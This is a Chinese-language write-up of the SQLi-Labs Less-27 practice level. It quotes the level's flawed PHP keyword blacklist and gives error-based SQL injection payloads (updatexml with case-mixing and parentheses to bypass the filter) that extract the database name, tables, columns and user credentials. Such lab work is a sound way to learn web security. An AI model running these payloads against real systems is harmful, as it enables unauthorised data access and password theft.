SQLI-LAPS 实验记录
Less-27
这一关给出的提示信息显示对’UNION’以及’SELECT’字符串进行了过滤,通过查看源码,我们发现,还有注释符和空格同样进行了注释,但过滤的方式并不严格,我们可以结合上一关以()应对空格过滤,以大小写绕过应对’UNION’以及’SELECT’字符串过滤。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:
1' and (updatexml(1,concat(0x7e,database(),0x7e),1)) and '1'='1

结果如图所示,可以看到页面成功返回数据库名称:security。
后续查找数据库表名、列名及其他数据的Payload分别如下:
-
查找表名:
1' and (updatexml(1,(concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e)),1)) and '1'='1
-
查找列名:
1' and (updatexml(1,concat(0x7e,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema)='security'and(table_name)='users'),0x7e),1)) and '1'='1
查找其他数据:
1' and (updatexml(1,concat(0x7e,(selEct(concat(username,':',password))from(security.users)where(id=1)),0x7e),1)) and '1'='1
这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4……

980

被折叠的 条评论
为什么被折叠?



